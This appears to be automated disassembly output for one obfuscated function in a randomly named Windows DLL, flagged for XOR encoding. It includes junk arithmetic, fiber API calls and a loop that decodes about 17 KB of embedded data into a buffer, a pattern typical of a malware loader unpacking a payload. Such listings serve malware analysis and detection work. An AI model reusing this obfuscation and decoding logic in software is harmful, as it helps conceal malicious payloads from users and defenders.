Function at 0x1800438f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [section..data]
xor ebx, ebx
mov dword [0x1801ba048], ebx
mov r10d, 0x4872
mov dword [0x1801ba014], ebx
mov qword [0x1801ba020], rbx
lea esi, [rbx + 1]
mov dword [0x1801ba038], 0x11
mov dword [0x1801ba02c], esi
mov dword [0x1801ba058], ebx
mov dword [rax + 0x50], ebx
mov rax, qword [section..data]
mov dword [rbp - 0x10], 0x3974
mov dword [0x1801ba06c], ebx
mov dword [0x1801ba074], ebx
mov dword [rax + 0x6c], ebx
mov rax, qword [section..data]
mov dword [rbp - 0x14], r10d
mov dword [0x1801ba088], 0x12
mov dword [rbp - 0x20], 0x3d57
mov dword [rax + 0x8c], 3
mov rax, qword [section..data]
mov dword [0x1801ba0a4], esi
mov dword [0x1801ba0b4], 0x14
mov dword [rbp - 8], ebx
mov dword [rax + 0xb4], ebx
mov rax, qword [section..data]
mov dword [0x1801ba0ec], esi
mov dword [0x1801ba104], ebx
mov dword [rbp - 0xc], 0x43ab
mov dword [rax + 0xf8], ebx
mov rax, qword [section..data]
mov dword [0x1801ba110], esi
mov dword [0x1801ba118], esi
mov dword [0x1801ba11c], esi
mov dword [0x1801ba124], esi
mov dword [0x1801ba130], esi
mov dword [0x1801ba144], 0x47
mov dword [0x1801ba154], ebx
mov dword [0x1801ba160], esi
mov dword [rax + 0x15c], 0xa
mov rax, qword [section..data]
mov dword [rbp - 0x1c], ebx
mov dword [rbp - 0x18], 0x4014
mov dword [rax + 0x168], ebx
mov rax, qword [section..data]
mov dword [rax + 0x16c], ebx
xor dword [rbp - 0x20], 0x40a
mov ecx, dword [rbp - 0x20]
mov eax, dword [0x1801ba048]
add ecx, 0x4b7
add eax, 0xdda09
mov dword [0x1801ba0a4], eax
mov eax, dword [rbp - 8]
cmp eax, ecx
je 0x180043b99
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x1c]
add ecx, 0x46
cmp eax, ecx
jge 0x180043b41
add dword [rbp - 0x18], 0x46
add dword [rbp - 0x20], 0xbc0
mov ecx, dword [rbp - 0x20]
mov edx, dword [rbp - 0x10]
xor ecx, 0x7b09
mov r8d, dword [rbp - 0x20]
add edx, 0x4a0
mov r9d, dword [rbp - 0xc]
xor r8d, 0x6b6
mov eax, dword [rbp - 0x1c]
xor r9d, 0x7a3f
xor eax, r10d
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r9d
lea r9, [0x1801ba010]
call fcn.180041590
mov dword [rbp - 0x20], eax
mov rax, qword [section..data]
cmp dword [rax + 0x114], 0x1245f
je 0x180043ade
mov eax, dword [rax + 0x16c]
sub eax, 0xfb33e
mov dword [0x1801ba090], eax
add dword [rbp - 0x14], 0xfffffbc7
lea rdx, [0x1801ba010]
add dword [rbp - 0x14], 0xfffff638
xor dword [rbp - 0x20], 0x465
mov ecx, dword [rbp - 0x10]
mov r8d, dword [rbp - 0x10]
add ecx, 0x20
mov r9d, dword [rbp - 0xc]
add r8d, 0xba9
mov eax, dword [rbp - 8]
xor r9d, 0x7adf
add eax, 0x451d
mov dword [rsp + 0x20], eax
call fcn.180041d24
mov dword [rbp - 0x14], eax
lea rax, [0x1800f71d0]
mov qword [0x1801ba0d8], rax
add dword [rbp - 0x1c], 0x451d
jmp 0x180043b99
mov ecx, dword [rbp - 0x1c]
mov r10d, dword [rbp - 0x1c]
mov r8d, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
mov edx, dword [0x1801ba110]
xor edx, dword [0x1801ba144]
mov r9d, dword [0x1801ba11c]
xor edx, 0x38cc
and r10d, dword [0x1801ba01c]
add r9d, 0xffffbc55
or ecx, dword [0x1801ba120]
imul r8d, eax
mov dword [rsp + 0x28], r8d
lea r8, [0x1801ba010]
mov dword [rsp + 0x20], r10d
call sym.wnct979or7.dll_ZGOCuP9m
mov dword [rbp - 0x1c], eax
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
xor ecx, 0x7d6a
cmp eax, ecx
je 0x180043ef0
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 8]
add ecx, 0xfffffa8f
cmp eax, ecx
je 0x180043c5f
mov ecx, dword [rbp - 0xc]
lea r9, [0x1801ba010]
mov edx, dword [rbp - 0x14]
xor ecx, 0xbd9
mov r8d, dword [rbp - 0x10]
sub edx, 0xdd
mov r10d, dword [rbp - 8]
add r8d, 0xfd
mov eax, dword [rbp - 0x1c]
xor r10d, 0x4014
sub eax, 0x92d
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r10d
call fcn.180043278
mov dword [rbp - 0x18], eax
xor dword [rbp - 0x20], 0x343
cmp dword [0x1801ba154], 0xd971
jae 0x180043c45
mov r8, qword [section..data]
mov edx, dword [0x1801ba0c4]
add edx, dword [0x1801ba17c]
xor edx, 0x2a838
mov eax, dword [r8 + 0x38]
imul eax, edx
mov dword [r8 + 0x38], eax
jmp 0x180043d1a
mov rax, qword [section..data]
lea rcx, [0x1800470a0]
mov qword [rax + 0xc8], rcx
jmp 0x180043d1a
mov rcx, qword [section..data]
mov eax, dword [rcx + 0xb0]
sub eax, dword [0x1801ba058]
cmp dword [0x1801ba074], eax
jne 0x180043d1a
mov eax, dword [rcx + 0x54]
mov ecx, dword [rbp - 0x14]
sub eax, 0x3974
xor ecx, eax
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, dword [rbp - 8]
mov r8d, 0x3e14
mov r9d, dword [rbp - 0x18]
mov rax, qword [section..data]
or r9, r8
mov edx, dword [0x1801ba020]
and ecx, dword [rax + 0xf4]
mov eax, dword [0x1801ba11c]
sub ecx, r8d
or rdx, rax
mov rax, qword [section..data]
mov r8d, dword [rax + 0x114]
xor r8, r9
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov edx, 0xca5
mov r8b, 0x56
mov ecx, 0xfa2
call fcn.18004430c
mov ecx, dword [rbp - 0xc]
mov dword [0x180537b4c], eax
xor ecx, ecx
mov eax, dword [rbp - 0x20]
imul eax, ecx
movsxd rcx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
mov eax, dword [rbp - 0x1c]
mov ecx, dword [0x1801ba124]
sub ecx, eax
xor ecx, dword [0x1801ba144]
add dword [0x1801ba078], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 8]
add ecx, 0xfffff6d3
cmp eax, ecx
jg 0x180043ef0
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
xor ecx, 0x29
cmp eax, ecx
jle 0x180043ebb
movsxd rcx, dword [0x1801ba098]
mov eax, dword [0x1801ba104]
sub eax, dword [0x1801ba160]
xor eax, 0x1c55d0
add dword [0x1801ba048], eax
mov rax, qword [0x1801ba0d8]
mov r9d, dword [rbx + rax]
add rbx, 4
mov rax, qword [section..data]
imul r9d, dword [rax + 0x84]
mov rax, qword [rax + 0xd0]
mov edx, r9d
shr edx, 0x10
mov byte [rcx + rax], dl
mov edx, r9d
mov r8d, dword [0x1801ba098]
mov ecx, dword [0x1801ba108]
add r8d, esi
mov eax, dword [0x1801ba048]
add eax, 0xfff9210d
mov dword [0x1801ba098], r8d
imul ecx, eax
mov rax, qword [section..data]
shr edx, 8
mov dword [0x1801ba108], ecx
mov ecx, dword [rax + 0xdc]
mov eax, dword [0x1801ba014]
dec eax
add ecx, eax
mov rax, qword [0x1801ba0e0]
xor dword [0x1801ba124], ecx
movsxd rcx, r8d
mov byte [rcx + rax], dl
mov eax, dword [0x1801ba098]
add eax, esi
mov dword [0x1801ba098], eax
movsxd rcx, eax
mov rax, qword [0x1801ba0e0]
mov byte [rcx + rax], r9b
add dword [0x1801ba098], esi
mov rdx, qword [section..data]
mov ecx, dword [0x1801ba160]
xor ecx, dword [0x1801ba038]
xor ecx, esi
mov eax, dword [rdx + 0x114]
xor eax, dword [rdx + 0x8c]
sub eax, 0x77bdb
mov dword [0x1801ba038], ecx
xor dword [0x1801ba014], eax
mov eax, esi
sub eax, dword [rdx + 0x1c]
add dword [0x1801ba074], eax
mov eax, dword [rdx + 0x38]
add eax, 0xfff920fb
add ecx, eax
mov eax, dword [0x1801ba11c]
xor eax, dword [0x1801ba154]
xor dword [0x1801ba060], ecx
xor eax, 0xfbf6dc51
add dword [rdx + 0x38], eax
cmp rbx, 0x44e0
jl 0x180043d3f
mov ecx, dword [rbp - 0xc]
mov edx, dword [rbp - 0x10]
xor ecx, 0x79da
mov r9d, dword [rbp - 0x14]
add edx, 0x6a0
mov r10d, dword [rbp - 0x18]
xor r9d, 0x7f6c
mov eax, dword [rbp - 0x18]
xor r10d, 0x72ee
mov r8, qword [section..data]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], r10d
call sym.wnct979or7.dll_ZGOCuP9m
mov dword [rbp - 0x20], eax
jmp 0x180043ef0
mov rax, qword [section..data]
mov ecx, dword [rax + 0x124]
xor ecx, dword [0x1801ba014]
xor ecx, 0x395d
cmp dword [0x1801ba0a4], ecx
jae 0x180043ef0
mov ecx, dword [rbp - 0x10]
imul ecx, dword [0x1801ba11c]
mov rax, qword [section..data]
or dword [rax + 0x10], ecx
mov rax, qword [section..data]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov eax, dword [rax + 0x104]
add rsp, 0x50
pop rbp
ret